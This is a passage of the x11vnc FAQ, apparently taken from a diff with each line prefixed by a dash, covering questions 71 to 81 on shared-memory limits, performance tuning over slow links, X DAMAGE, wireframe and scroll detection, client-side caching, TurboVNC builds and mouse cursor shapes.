- X Error of failed request: BadAccess (attempt to access private resource den
-ied)
- Major opcode of failed request: 131 (MIT-SHM)
- Minor opcode of failed request: 1 (X_ShmAttach)
- Serial number of failed request: 14
- Current serial number in output stream: 17
-
- This tight limit on Solaris 8 can be increased via:
- set shmsys:shminfo_shmseg = 100
-
- in /etc/system. See the next paragraph for more workarounds.
-
- To minimize the number of shm segments used by x11vnc try using the
- -onetile option (corresponds to only 3 shm segments used, and adding
- -fs 1.0 knocks it down to 2.) If you are having much trouble with shm
- segments, consider disabling shm completely via the -noshm option.
- Performance will be somewhat degraded but when done over local machine
- sockets it should be acceptable (see an earlier question discussing
- -noshm.)
-
-
- Q-71: How can I make x11vnc use less system resources?
-
- The -nap (now on by default; use -nonap to disable) and "-wait n"
- (where n is the sleep between polls in milliseconds, the default is 30
- or so) option are good places to start. In addition, something like
- "-sb 15" will cause x11vnc to go into a deep-sleep mode after 15
- seconds of no activity (instead of the default 60.)
-
- Reducing the X server bits per pixel depth (e.g. to 16bpp or even
- 8bpp) will further decrease memory I/O and network I/O. The ShadowFB X
- server setting will make x11vnc's screen polling less severe. Using
- the -onetile option will use less memory and use fewer shared memory
- slots (add -fs 1.0 for one less slot.)
-
-
- Q-72: How can I make x11vnc use MORE system resources?
-
- You can try -threads (note this mode can be unstable and/or crash; and
- as of May/2008 is strongly discouraged, see the option description) or
- dial down the wait time (e.g. -wait 1) and possibly dial down -defer
- as well. Note that if you try to increase the "frame rate" too much
- you can bog down the server end with the extra work it needs to do
- compressing the framebuffer data, etc.
-
- That said, it is possible to "stream" video via x11vnc if the video
- window is small enough. E.g. a 256x192 xawtv TV capture window (using
- the x11vnc -id option) can be streamed over a LAN or wireless at a
- reasonable frame rate. If the graphics card's framebuffer read rate is
- faster than normal then the video window size and frame rate can be
- much higher. The use of TurboVNC and/or TurboJPEG can make the frame
- rate somewhat higher still (but most of this hinges on the graphics
- card's read rate.)
-
-
- Q-73: I use x11vnc over a slow link with high latency (e.g. dialup
- modem or broadband), is there anything I can do to speed things up?
-
- Some things you might want to experiment with (many of which will help
- performance on faster links as well):
-
- X server/session parameters:
- * Configure the X server bits per pixel to be 16bpp or even 8bpp.
- (reduces amount of data needed to be polled, compressed, and sent)
- * Use a smaller desktop size (e.g. 1024x768 instead of 1280x1024)
- * Make sure the desktop background is a solid color (the background
- is resent every time it is re-exposed.) Consider using the -solid
- [color] option to try to do this automatically.
- * Configure your window manager or desktop "theme" to not use fancy
- images, shading, and gradients for the window decorations, etc.
- Disable window animations, etc. Maybe your desktop has a "low
- bandwidth" theme you can easily switch into and out of. Also in
- Firefox disable eye-candy, e.g.: Edit -> Preferences -> Advanced
- -> Use Smooth Scrolling (deselect it.)
- * Avoid small scrolls of large windows using the Arrow keys or
- scrollbar. Try to use PageUp/PageDown instead. (not so much of a
- problem in x11vnc 0.7.2 if -scrollcopyrect is active and detecting
- scrolls for the application.)
- * If the -wireframe option is not available (earlier than x11vnc
- 0.7.2 or you have disabled it via -nowireframe) then Disable
- Opaque Moves and Resizes in the window manager/desktop.
- * However if -wireframe is active (on by default in x11vnc 0.7.2)
- then you should Enable Opaque Moves and Resizes in the window
- manager! This seems counter-intuitive, but because x11vnc detects
- the move/resize events early there is a huge speedup over a slow
- link when Opaque Moves and Resizes are enabled. (e.g. CopyRect
- encoding will be used.)
- * Turn off Anti-aliased fonts on your system, web browser, terminal
- windows, etc. AA fonts do not compress as well as traditional
- fonts (sometimes 10X less.)
- * On Firefox/Mozilla (and anything else) turn off "Smooth Scroll"
- animations. In Firefox put in the URL "about:config" and set
- general.smoothScroll to false.
- * On Xorg/XFree86 turn on the Shadow Framebuffer to speed up
- reading. (Option "ShadowFB" "true" in the Device section of
- /etc/X11/XF86Config) This disables 2D acceleration on the physical
- display and so may not be worth it (if you play games, etc), but
- could be of use in some situations. Note: If the network link is
- very slow, this speedup may not be noticed.
-
- VNC viewer parameters:
- * Use a TightVNC enabled viewer! (Actually, RealVNC 4.x viewer with
- ZRLE encoding is not too bad either; some claim it is faster.)
- * Make sure the tight (or zrle) encoding is being used (look at
- vncviewer and x11vnc outputs)
- * Request 8 bits per pixel using -bgr233 (up to 4X speedup over
- depth 24 TrueColor (32bpp), but colors will be off)
- * RealVNC 4.x viewer has some extremely low color modes (only 64 and
- even 8 colors.) SSVNC does too. The colors are poor, but it is
- usually noticeably faster than bgr233 (256 colors.)
- * Try increasing the TightVNC -compresslevel (compresses more on
- server side before sending, but uses more CPU)
- * Try reducing the TightVNC -quality (increases JPEG compression,
- but is lossy with painting artifacts)
- * Try other VNC encodings via -encodings (tight may be the fastest,
- but you should compare it to zrle and maybe some of the others)
- * On the machine where vncviewer is run, make sure Backing Store is
- enabled (Xorg/XFree86 disables it by default causing re-exposures
- of vncviewer to be very slow) Option "backingstore" in config
- file.
-
- x11vnc parameters:
- * Make sure the -wireframe option is active (it should be on by
- default) and you have Opaque Moves/Resizes Enabled in the window
- manager.
- * Make sure the -scrollcopyrect option is active (it should be on by
- default.) This detects scrolls in many (but not all) applications
- an applies the CopyRect encoding for a big speedup.
- * Enforce a solid background when VNC viewers are connected via
- -solid
- * Try x11vnc's client-side caching client-side caching scheme:
- -ncache
- * Specify -speeds modem to force the wireframe and scrollcopyrect
- heuristic parameters (and any future ones) to those of a dialup
- modem connection (or supply the rd,bw,lat numerical values that
- characterize your link.)
- * If wireframe and scrollcopyrect aren't working, try using the more
- drastic -nodragging (no screen updates when dragging mouse, but
- sometimes you miss visual feedback)
- * Set -fs 1.0 (disables fullscreen updates)
- * Try increasing -wait or -defer (reduces the maximum "frame rate",
- but won't help much for large screen changes)
- * Try the -progressive pixelheight mode with the block pixelheight
- 100 or so (delays sending vertical blocks since they may change
- while viewer is receiving earlier ones)
- * If you just want to watch one (simple) window use -id or -appshare
- (cuts down extraneous polling and updates, but can be buggy or
- insufficient)
- * Set -nosel (disables all clipboard selection exchange)
- * Use -nocursor and -nocursorpos (repainting the remote cursor
- position and shape takes resources and round trips)
- * On very slow links (e.g. <= 28.8) you may need to increase the
- -readtimeout n setting if it sometimes takes more than 20sec to
- paint the full screen, etc.
- * Do not use -fixscreen to automatically refresh the whole screen,
- tap three Alt_L's then the screen has painting errors (rare
- problem.)
-
-
- Example for the KDE desktop:
-
- Launch the "KDE Control Center" utility. Sometimes this is called
- "Personal Settings".
-
- Select "Desktop".
-
- Then Select "Window Behavior". In the "Moving" Tab set these:
- * YES - Display content in moving windows
- * YES - Display content in resizing windows
- * NO - Display window geometry when moving or resizing
- * NO - Animate minimize and restore
-
- In the "Translucency" Tab set:
- * NO - Use translucency/shadows
-
- Next hit "Back" and then select "Panels".
-
- In the "Appearance" Tab set:
- * NO - Enable icon mouseover effects
- * NO - Enable transparency
-
- Now go all the way back up to the top and Select "Appearance &
- Themes".
-
- Select "Background" and set:
- * YES - No picture
- * Colors: Single Color
-
- Select "Fonts" and disable anti-aliased fonts if you are bold enough.
-
- Select "Launch Feedback" and set:
- * Busy Cursor: No Busy Cursor
- * NO - Enable taskbar notification
-
- Select "Screen Saver" and set:
- * Screen Saver: Blank Screen
-
- Select "Style" and in the "Effects" Tab set:
- * NO - Enable GUI effects
-
-
- Example for the GNOME desktop:
- * TBD.
-
-
- Q-74: Does x11vnc support the X DAMAGE Xserver extension to find
- modified regions of the screen quickly and efficiently?
-
- Yes, as of Mar/2005 x11vnc will use the X DAMAGE extension by default
- if it is available on the display. This requires libXdamage to be
- available in the build environment as well (recent Linux distros and
- Solaris 10 have it.)
-
- The DAMAGE extension enables the X server to report changed regions of
- the screen back to x11vnc. So x11vnc doesn't have to guess where the
- changes are (by polling every pixel of the entire screen every 2-4
- seconds.) The use of X DAMAGE dramatically reduces the load when the
- screen is not changing very much (i.e. most of the time.) It also
- noticeably improves updates, especially for very small changed areas
- (e.g. clock ticking, cursor flashing, typing, etc.)
-
- Note that the DAMAGE extension does not speed up the actual reading of
- pixels from the video card framebuffer memory, by, say, mirroring them
- in main memory. So reading the fb is still painfully slow (e.g.
- 5MB/sec), and so even using X DAMAGE when large changes occur on the
- screen the bulk of the time is still spent retrieving them. Not ideal,
- but use of the ShadowFB XFree86/Xorg option speeds up the reading
- considerably (at the cost of h/w acceleration.)
-
- Unfortunately the current Xorg DAMAGE extension implementation can at
- times be overly conservative and report very large rectangles as
- "damaged" even though only a small portion of the pixels have actually
- been modified. This behavior is often the fault of the window manager
- (e.g. it redraws the entire, unseen, frame window underneath the
- application window when it gains focus), or the application itself
- (e.g. does large, unnecessary repaints.)
-
- To work around this deficiency, x11vnc currently only trusts small
- DAMAGE rectangles to contain real damage. The larger rectangles are
- only used as hints to focus the traditional scanline polling (i.e. if
- a scanline doesn't intersect a recent DAMAGE rectangle, the scan is
- skipped.) You can use the "-xd_area A" option to adjust the size of
- the trusted DAMAGE rectangles. The default is 20000 pixels (e.g. a
- 140x140 square, etc.) Use "-xd_area 0" to disable the cutoff and trust
- all DAMAGE rectangles.
-
- The option "-xd_mem f" may also be of use in tuning the algorithm. To
- disable using DAMAGE entirely use "-noxdamage".
-
-
- Q-75: My OpenGL application shows no screen updates unless I supply
- the -noxdamage option to x11vnc.
- One user reports in his environment (MythTV using the NVIDIA OpenGL
- drivers) he gets no updates after the initial screen is drawn unless
- he uses the "-noxdamage" option.
-
- This seems to be a bug in the X DAMAGE implementation of that driver.
- You may have to use -noxdamage as well. A way to autodetect this will
- be tried, probably the best it will do is automatically stop using X
- DAMAGE.
-
- A developer for MiniMyth reports that the 'alphapulse' tag of the
- theme G.A.N.T. can also cause problems, and should be avoided when
- using VNC.
-
- Update: see this FAQ too.
-
-
- Q-76: When I drag windows around with the mouse or scroll up and down
- things really bog down (unless I do the drag in a single, quick
- motion.) Is there anything to do to improve things?
-
- This problem is primarily due to slow hardware read rates from video
- cards: as you scroll or move a large window around the screen changes
- are much too rapid for x11vnc to keep up them (it can usually only
- read the video card at about 5-10 MB/sec, so it can take a good
- fraction of a second to read the changes induce from moving a large
- window, if this to be done a number of times in succession the window
- or scroll appears to "lurch" forward.) See the description in the
- -pointer_mode option for more info. The next bottleneck is compressing
- all of these changes and sending them out to connected viewers,
- however the VNC protocol is pretty much self-adapting with respect to
- that (updates are only packaged and sent when viewers ask for them.)
-
- As of Jan/2004 there are some improvements to libvncserver. The
- default should now be much better than before and dragging small
- windows around should no longer be a huge pain. If for some reason
- these changes make matters worse, you can go back to the old way via
- the "-pointer_mode 1" option.
-
- Also added was the -nodragging option that disables all screen updates
- while dragging with the mouse (i.e. mouse motion with a button held
- down.) This gives the snappiest response, but might be undesired in
- some circumstances when you want to see the visual feedback while
- dragging (e.g. menu traversal or text selection.)
-
- As of Dec/2004 the -pointer_mode n option was introduced. n=1 is the
- original mode, n=2 an improvement, etc.. See the -pointer_mode n help
- for more info.
-
- Also, in some circumstances the -threads option can improve response
- considerably. Be forewarned that if more than one vncviewer is
- connected at the same time then libvncserver may not be thread safe
- (try to get the viewers to use different VNC encodings, e.g. tight and
- ZRLE.) This option can be unstable and so as of Feb/2008 it is
- disabled by default. Set env. X11VNC_THREADED=1 to re-enable.
-
- As of Apr/2005 two new options (see the wireframe FAQ and
- scrollcopyrect FAQ below) provide schemes to sweep this problem under
- the rug for window moves or resizes and for some (but not all) window
- scrolls. These are the preferred way of avoiding the "lurching"
- problem, contact me if they are not working. Note on SuSE and some
- other distros the RECORD X extension used by scrollcopyrect is not
- enabled by default, turn it on in xorg.conf:
-Section "Module"
- ...
- Load "record"
- ...
-EndSection
-
-
- Q-77: Why not do something like wireframe animations to avoid the
- windows "lurching" when being moved or resized?
-
- Nice idea for a hack! As of Apr/2005 x11vnc by default will apply
- heuristics to try to guess if a window is being (opaquely) moved or
- resized. If such a change is detected framebuffer polling and updates
- will be suspended and only an animated "wireframe" (a rectangle
- outline drawn where the moved/resized window would be) is shown. When
- the window move/resize stops, it returns to normal processing: you
- should only see the window appear in the new position. This spares you
- from interacting with a "lurching" window between all of the
- intermediate steps. BTW the lurching is due to slow video card read
- rates (see here too.) A displacement, even a small one, of a large
- window requires a non-negligible amount of time, a good fraction of a
- second, to read in from the hardware framebuffer.
-
- Note that Opaque Moves/Resizes must be Enabled by your window manager
- for -wireframe to do any good.
-
- The mode is currently on by default because most people are afflicted
- with the problem. It can be disabled with the -nowireframe option (aka
- -nowf.) Why might one want to turn off the wireframing? Since x11vnc
- is merely guessing when windows are being moved/resized, it may guess
- poorly for your window-manager or desktop, or even for the way you
- move the pointer. If your window-manager or desktop already does its
- own wireframing then this mode is a waste of time and could do the
- wrong thing occasionally. There may be other reasons the new mode
- feels unnatural. If you have very expensive video hardware (SGI, well
- now even proprietary Xorg drivers are fast at reading) or are using an
- in-RAM video framebuffer (SunRay, ShadowFB, Xvfb), the read rate from
- that framebuffer may be very fast (100's of MB/sec) and so you don't
- really see much lurching (at least over a fast LAN): opaque moves look
- smooth in x11vnc. Note: ShadowFB is often turned on when you are using
- the vesafb or fbdev XFree86 video driver instead of a native one so
- you might be using it already and not know.
-
- The heuristics used to guess window motion or resizing are simple, but
- are not fool proof: x11vnc is sometimes tricked and so you'll
- occasionally see the lurching opaque move and rarely something even
- worse.
-
- First it assumes that the move/resize will occur with a mouse button
- pressed, held down and dragged (of course this is only mostly true.)
- Next it will only consider a window for wireframing if the mouse
- pointer is initially "close enough" to the edges of the window frame,
- e.g. you have grabbed the title bar or a resizer edge (this
- requirement can be disabled and it also not applied if a modifier key,
- e.g. Alt, is pressed.) If these are true, it will wait an amount of
- time to see if the window starts moving or resizing. If it does, it
- starts drawing the wireframe "outline" of where the window would be.
- When the mouse button is released, or a timeout occurs, it goes back
- to the standard mode to allow the actual framebuffer changes to
- propagate to the viewers.
-
- These parameters can be tweaked:
- * Color/Shade of the wireframe.
- * Linewidth of the outline frame.
- * Cutoff size of windows to not apply wireframing to.
- * Cutoffs for closeness to Top, Bottom, Left, and Right edges of
- window.
- * Modifier keys to enable interior window grabbing.
- * Maximum time to wait for dragging pointer events.
- * Maximum time to wait for the window to start moving/resizing.
- * Maximum time to show a wireframe animation.
- * Minimum time between sending wireframe outlines.
-
- See the "-wireframe tweaks" option for more details. On a slow link,
- e.g. dialup modem, the parameters may be automatically adjusted for
- better response.
-
-
- CopyRect encoding: In addition to the above there is the
- "-wirecopyrect mode" option. It is also on by default. This instructs
- x11vnc to not only show the wireframe animation, but to also instruct
- all connected VNC viewers to locally translate the window image data
- from the original position to the new position on the screen when the
- animation is done. This speedup is the VNC CopyRect encoding: the
- framebuffer update doesn't need to send the actual new image data.
- This is nice in general, and very convenient over a slow link, but
- since it is based on heuristics you may need to disable it with the
- -nowirecopyrect option (aka -nowcr) if it works incorrectly or
- unnaturally for you.
-
- The -wirecopyrect modes are: "never" (same as -nowirecopyrect); "top",
- only apply the CopyRect if the window is appears to be on the top of
- the window stack and is not obstructed by other windows; and "always"
- to always try to apply the CopyRect (obstructed regions are usually
- clipped off and not translated.)
-
- Note that some desktops (KDE and xfce) appear to mess with the window
- stacking in ways that are not yet clear. In these cases x11vnc works
- around the problem by applying the CopyRect even if obscuring windows'
- data is translated! Use -nowirecopyrect if this yields undesirable
- effects for your desktop.
-
- Also, the CopyRect encoding may give incorrect results under -scale
- (depending on the scale factor the CopyRect operation is often only
- approximate: the correctly scaled framebuffer will be slightly
- different from the translated one.) x11vnc will try to push a
- "cleanup" update after the CopyRect if -scale is in effect. Use
- -nowirecopyrect if this or other painting errors are unacceptable.
-
-
- Q-78: Can x11vnc try to apply heuristics to detect when a window is
- scrolling its contents and use the CopyRect encoding for a speedup?
-
- Another nice idea for a hack! As of May/2005 x11vnc will by default
- apply heuristics to try to detect if the window that has the input
- focus is scrolling its contents (but only when x11vnc is feeding user
- input, keystroke or pointer, to the X server.) So, when detected,
- scrolls induced by dragging on a scrollbar or by typing (e.g. Up or
- Down arrows, hitting Return in a terminal window, etc), will show up
- much more quickly than via the standard x11vnc screen polling update
- mechanism.
-
- There will be a speedup for both slow and fast links to viewers. For
- slow links the speedup is mostly due to the CopyRect encoding not
- requiring the image data to be transmitted over the network. For fast
- links the speedup is primarily due to x11vnc not having to read the
- scrolled framebuffer data from the X server (recall that reading from
- the hardware framebuffer is slow.)
-
- To do this x11vnc uses the RECORD X extension to snoop the X11
- protocol between the X client with the focus window and the X server.
- This extension is usually present on most X servers (but SuSE disables
- it for some reason.) On XFree86/Xorg it can be enabled via Load
- "record" in the Module section of the config file if it isn't already:
-Section "Module"
- ...
- Load "record"
- ...
-EndSection
-
- Currently the RECORD extension is used as little as possible so as to
- not slow down regular use. Only simple heuristics are applied to
- detect XCopyArea and XConfigureWindow calls from the application.
- These catch a lot of scrolls, e.g. in mozilla/firefox and in terminal
- windows like gnome-terminal and xterm. Unfortunately the toolkits KDE
- applications use make scroll detection less effective (only rarely are
- they detected: i.e. Konqueror and Konsole don't work.) An interesting
- project, that may be the direction x11vnc takes, is to record all of
- the X11 protocol from all clients and try to "tee" the stream into a
- modified Xvfb watching for CopyRect and other VNC speedups. A
- potential issue is the RECORD stream is delayed from actual view on
- the X server display: if one falls too far behind it could become a
- mess...
-
- The initial implementation of -scrollcopyrect option is useful in that
- it detects many scrolls and thus gives a much nicer working
- environment (especially when combined with the -wireframe
- -wirecopyrect options, which are also on by default; and if you are
- willing to enable the ShadowFB things are very fast.) The fact that
- there aren't long delays or lurches during scrolling is the primary
- improvement.
-
- But there are some drawbacks:
- * Not all scrolls are detected. Some apps scroll windows in ways
- that cannot currently be detected, and other times x11vnc "misses"
- the scroll due to timeouts, etc. Sometimes it is more distracting
- that a speedup occasionally doesn't work as opposed to being
- consistently slow!
- * For rapid scrolling (i.e. sequence of many scrolls over a short
- period) there can be painting errors (tearing, bunching up, etc.)
- during the scroll. These will repair themselves after the scroll
- is over, but when they are severe it can be distracting. Try to
- think of the approximate window contents as a quicker and more
- useful "animation" compared to the slower polling scheme...
- * Scrolling inside shells in terminal windows (gnome-terminal,
- xterm), can lead to odd painting errors. This is because x11vnc
- did not have time to detect a screen change just before the scroll
- (most common is the terminal undraws the block cursor before
- scrolling the text up: in the viewer you temporarily see multiple
- block cursors.) Another issue is with things like more(1): scroll
- detection for 5-6 lines happens nicely, but then it can't keep up
- and so there is a long pause for the standard polling method to
- deliver the remaining updates.
- * More rarely sometimes painting errors are not repaired after the
- scroll is over. This may be a bug in x11vnc or libvncserver, or it
- may be an inescapable fact of the CopyRect encoding and the delay
- between RECORD callbacks and what is actually on the X display.
- One can tap the Alt_L key (Left "Alt" key) 3 times in a row to
- signal x11vnc to refresh the screen to all viewers. Your
- VNC-viewer may have its own screen refresh hot-key or button. See
- also: -fixscreen
- * Some applications, notably OpenOffice, do XCopyArea scrolls in
- weird ways that assume ancestor window clipping is taking place.
- See the -scr_skip option for ways to tweak this on a
- per-application basis.
- * Selecting text while dragging the mouse may be slower, especially
- if the Button-down event happens near the window's edge. This is
- because the scrollcopyrect scheme is watching for scrolls via
- RECORD and has to wait for a timeout to occur before it does the
- update.
- * For reasons not yet understood the RECORD extension can stop
- responding (and hence scrolls are missed.) As a workaround x11vnc
- attempts to reset the RECORD connection every 60 seconds or so.
- Another workaround is to type 4 Super_L (Left Super/Windows-Flag
- key) in a row to reset RECORD. Work is in progress to try to fix
- this bug.
- * Sometimes you need to "retrain" x11vnc for a certain window
- because it fails to detect scrolls in it. Sometimes clicking
- inside the application window or selecting some text in it to
- force the focus helps.
- * When using the -scale option there will be a quick CopyRect
- scroll, but it needs to be followed by a slower "cleanup" update.
- This is because for a fixed finite screen resolution (e.g. 75 dpi)
- scaling and copyrect-ing are not exactly independent. Scaling
- involves a blending of nearby pixels and if you translate a pixel
- the neighbor pixel weighting may be different. So you have to wait
- a bit for the cleanup update to finish. On slow links x11vnc may
- automatically decide to not detect scrolls when -scale is in
- effect. In general it will also try to defer the cleanup update if
- possible.
-
- If you find the -scrollcopyrect behavior too approximate or
- distracting you can go back to the standard polling-only update method
- with the -noscrollcopyrect (or -noscr for short.) If you find some
- extremely bad and repeatable behavior for -scrollcopyrect please
- report a bug.
-
- Alternatively, as with -wireframe, there are many tuning parameters to
- try to improve the situation. You can also access these parameters
- inside the gui under "Tuning". These parameters can be tweaked:
- * The minimum pixel area of a rectangle to be watched for scrolls.
- * A list if application names to skip scroll detection.
- * Which keystrokes should trigger scroll detection.
- * Which applications should have a "terminal" tweak applied to them.
- * When repeating keys (e.g. Up arrow) should be discarded to
- preserve a scroll.
- * Cutoffs for closeness to Top, Bottom, Left, and Right edges of
- window for mouse induced scrolls.
- * Set timeout parameters for keystroke induced scrolls.
- * Set timeout parameters for mouse pointer induced scrolls.
- * Have the full screen be periodically refreshed to fix painting
- errors.
-
-
- Q-79: Can x11vnc do client-side caching of pixel data? I.e. so when
- that pixel data is needed again it does not have to be retransmitted
- over the network.
-
- As of Dec/2006 in the 0.9 development tarball there is an experimental
- client-side caching implementation enabled by the "-ncache n" option.
- In fact, during the test period it was on by default with n set to 10.
- To disable it use "-noncache".
-
- It is a simple scheme where a (very large) lower portion of the
- framebuffer (i.e. starting just below the user's actual desktop
- display) is used for storing pixel data. CopyRect; a fast, essentially
- local viewer-side VNC encoding; is used to swap the pixel data in and
- out of the actual display area. It gives an excellent speedup for
- iconifying/deiconifying and moving windows and re-posting of menus
- (often it doesn't feel like VNC at all: there is no delay waiting for
- the pixel data to fill in.)
-
- This scheme is nice because it does all of this within the existing
- VNC protocol, and so it works with all VNC viewers.
-
- A challenge to doing more sophisticated (e.g. compressed and/or
- shared) client-side caching is that one needs to extend the VNC
- protocol, modify a viewer and then also convince users to adopt your
- modified VNC Viewer (or get the new features to be folded into the
- main VNC viewers, patches accepted, etc... likely takes many years
- before they might be deployed in the field.) So it is convenient that
- the "-ncache n" works with any unaltered VNC viewer.
-
- A drawback of the "-ncache n" method is that in the VNC Viewer you can
- scroll down and actually see the cached pixel data. So it looks like
- there is a bug: you can scroll down in your viewer and see a strange
- "history" of windows on your desktop. This is working as intended. One
- will need to try to adjust the size of his VNC Viewer window so the
- cache area cannot be seen. SSVNC (see below) can do this
- automatically.
-
- At some point LibVNCServer may implement a "rfbFBCrop" pseudoencoding
- that viewers can use to learn which portion of the framebuffer to
- actually show to the users (with the hidden part used for caching, or
- perhaps something else, maybe double buffering or other offscreen
- rendering...)
-
- The Enhanced TightVNC Viewer (SSVNC) Unix viewer has a nice -ycrop
- option to help hide the pixel cache area from view. It will turn on
- automatically if the framebuffer appears to be very tall (height more
- than twice the width), or you can supply the actual value for the
- height. If the screen is resized by scaling, etc, the ycrop value is
- scaled as well. In fullscreen mode you cannot scroll past the end of
- the actual screen, and in non-fullscreen mode the window manager frame
- is adjusted to fit the actual display (so you don't see the pixel
- cache region) and the scrollbars are very thin to avoid distraction
- and trouble fitting inside your display. Use the "-sbwidth n" viewer
- option to make the scrollbars thicker if you like.
-
- Another drawback of the scheme is that it is VERY memory intensive,
- the n in "-ncache n" is the factor of increase over the base
- framebuffer size to use for caching. It is an even integer and should
- be fairly large, 6-12, to achieve good response. This usually requires
- about 50-100MB of additional RAM on both the client and server sides.
- For example with n=6 a 1280x1024 display will use a framebuffer that
- is 1280x7168: everything below row 1024 is the pixel buffer cache. If
- you are running on low memory machines or memory is tight because of
- other running applications you should not use -ncache.
-
- The reason for so much memory is because the pixel data is not
- compressed and so the whole window to be saved must be stored
- "offscreen". E.g. for a large web browser window this can be nearly 1
- million pixels, and that is only for a single window! One typically
- wants to cycle between 5-10 large active windows. Also because both
- backing-store (the window's actual contents) and save-unders (the
- pixels covered up by the window) are cached offscreen that introduces
- an additional factor of 2 in memory use.
-
- However, even in the smallest usage mode with n equal 2 and
- -ncache_no_rootpixmap set (this requires only 2X additional
- framebuffer memory) there is still a noticable improvement for many
- activities, although it is not as dramatic as with, say n equal 12 and
- rootpixmap (desktop background) caching enabled.
-
- The large memory consumption of the current implementation can be
- thought of as a tradeoff to providing caching and being compatible
- with all VNC viewers and also ease of implementing. Hopefully it can
- be tuned to use less, or the VNC community will extend the protocol to
- allow caching and replaying of compressed blobs of data.
-
- Another option to experiment with is "-ncache_cr". By specifying it,
- x11vnc will try to do smooth opaque window moves instead of its
- wireframe. This can give a very nice effect (note: on Unix the realvnc
- viewer seems to be smoother than the tightvnc viewer), but can lead to
- some painting problems, and can be jerky in some circumstances.
-
- Surprisingly, for very slow connections, e.g. modem, the -ncache_cr
- option can actually improve window drags. This is probably because no
- pixel data (only CopyRect instructions) are sent when dragging a
- window. Normally, the wireframe must be sent and this involves
- compressing and sending the lines that give rise to the moving box
- effect (note that real framebuffer data is sent to "erase" the white
- lines of the box.)
-
- If you experience painting errors you can can tap the Alt_L key (Left
- "Alt" key) 3 times in a row to signal x11vnc to refresh the screen to
- all viewers. You may also need to iconify and then deiconify any
- damaged windows to correct their cache data as well. Note that if you
- change color viewer depth (e.g. 8bpp to full color) dynamically that
- will usually lead to the entire extended framebuffer being resent
- which can take a long time over very slow links: it may be better to
- reconnect and reset the format right after doing so. x11vnc will try
- to detect the format change and clear (make completely black) the
- cache region.
-
- Gotcha for older Unix VNC Viewers: The older Unix VNC viewers (e.g.
- current TightVNC Unix Viewer) require X server backingstore to keep
- off-viewer screen data local. If the viewer-side X server has
- backingstore disabled (sadly, currently the default on Linux, etc),
- then to get the offscreen pixels the viewer has to ask for a refresh
- over the network, thereby defeating the caching. Use something like
- this in your viewer-side /etc/X11/xorg.conf file (or otherwise get
- your viewer-side system to do it)
-Section "Device"
- ...
- Option "backingstore"
- ...
-EndSection
-
- No problems like this have been observed with Windows VNC Viewers:
- they all seem to keep their entire framebuffer in local memory.
-
- Gotcha for KDE krdc VNC Viewer: One user found that KDE's krdc viewer
- has some sort of hardwired limit on the maximum size of the
- framebuffer (64MB?). It fails quickly saying "The connection to the
- host has been interrupted." The workaround for his 1280x1024
- x11vnc-side display was to run with "-ncache 10", i.e. a smaller value
- to be under the krdc threshold.
-
- Although this scheme is not as quick (nor as compressed) as
- nx/nomachine, say, it does provide a good step in the direction of
- improving VNC performance by client side caching.
-
-
- Q-80: Does x11vnc support TurboVNC?
-
- As of Feb/2009 (development tarball) there is an experimental kludge
- to let you build x11vnc using TurboVNC's modified TightVNC encoding.
- TurboVNC is part of the VirtualGL project. It does two main things to
- speed up the TightVNC encoding:
- * It eliminates bottlenecks, overheads, wait-times in the TightVNC
- encoding implementation and instead only worries about sending
- very well (and quickly) compressed JPEG data.
- * A fast proprietary JPEG implemention is used (Intel IPP on x86)
- instead of the usual libjpeg implementation. TurboJPEG is an
- interface library, libturbojpeg, provided by the project that
- achieves this.
-
- TurboVNC works very well over LAN and evidently fast Broadband too.
- When using it with x11vnc in such a situation you may want to dial
- down the delays, e.g. "-wait 5" and "-defer 5" (or even a smaller
- setting) to poll and pump things out more quickly.
-
- See the instructions in "x11vnc/misc/turbovnc/README" for how to build
- x11vnc with TurboVNC support. You will also need to download the
- TurboJPEG software.
-
- In brief, the steps look like this:
- cd x11vnc-x.y.z/x11vnc/misc/turbovnc
- ./apply_turbovnc
- cd ../../..
- env LDFLAGS='-L/DIR -Xlinker --rpath=/DIR' ./configure
- make AM_LDFLAGS='-lturbojpeg'
-
- where you replace "/DIR" with the directory containing libturbojpeg.so
- you downloaded separately. If it works out well enough TurboVNC
- support will be integrated into x11vnc and more of its tuning features
- will be implemented. Support for TurboVNC in SSVNC viewer has been
- added as an experiment as well. If you try either one, let us know how
- it went.
-
- There also may be some Linux.i686 and Darwin.i386 x11vnc binaries with
- TurboVNC support in the misc. bins directory. For other platforms you
- will need to compile yourself.
-
- On relatively cheap and old hardware (Althon64 X2 5000+ / GeForce
- 6200) x11vnc and SSVNC, both TurboVNC enabled, were able to sustain
- 13.5 frames/sec (fps) and 15 Megapixels/sec using the VirtualGL
- supplied OpenGL benchmark program glxspheres. VirtualGL on higher-end
- hardware can sustain 20-30 fps with the glxspheres benchmark.
-
- Potential Slowdown: As we describe elsewhere, unless you use x11vnc
- with an X server using, say, NVidia proprietary drivers (or a virtual
- X server like Xvfb or Xdummy, or in ShadowFB mode), then the read rate
- from the graphics card can be rather slow (e.g. 10 MB/sec) and becomes
- the bottleneck when using x11vnc over fast networks. Note that all of
- Xorg's drivers currently (2009) have slow read rates (only proprietary
- drivers appear to have optimized reads.)
-
- So under these (more or less typical) conditions, the speed
- improvement provided by TurboVNC may only be marginal. Look for this
- output to see your read rate:
- 28/02/2009 11:11:07 Autoprobing TCP port
- 28/02/2009 11:11:07 Autoprobing selected port 5900
- 28/02/2009 11:11:08 fb read rate: 10 MB/sec
- 28/02/2009 11:11:08 screen setup finished.
-
- A rate of 10 MB/sec means a 1280x1024x24 screen takes 0.5 seconds to
- read in. TurboVNC compresses that to JPEG in a much shorter time. On
- the other hand, an NVidia driver may have a read rate of 250 MB/sec
- and so only takes 0.02 seconds to read the entire screen in.
-
-
-
- [Mouse Cursor Shapes]
-
- Q-81: Why isn't the mouse cursor shape (the little icon shape where
- the mouse pointer is) correct as I move from window to window?
-
- On X servers supporting XFIXES or Solaris/IRIX Overlay extensions it
- is possible for x11vnc to do this correctly. See a few paragraphs down
- for the answer.
-
- Historically, the X11 mouse cursor shape (i.e. little picture: an
- arrow, X, I-beam, resizer, etc) is one of the few WRITE-only objects
- in X11. That is, an application can tell the X server what the cursor
- shape should be when the pointer is in a given window, but a program
- (like x11vnc) unfortunately cannot read this information. I believe
- this is because the cursor shape is often downloaded to the graphics
- hardware (video card), but I could be mistaken.
-
- A simple kludge is provided by the "-cursor X" option that changes the
- cursor when the mouse is on the root background (or any window has the
- same cursor as the root background.) Note that desktops like GNOME or
- KDE often cover up the root background, so this won't work for those
- cases. Also see the "-cursor some" option for additional kludges.
-
- Note that as of Aug/2004 on Solaris using the SUN_OVL overlay
- extension and IRIX, x11vnc can show the correct mouse cursor when the
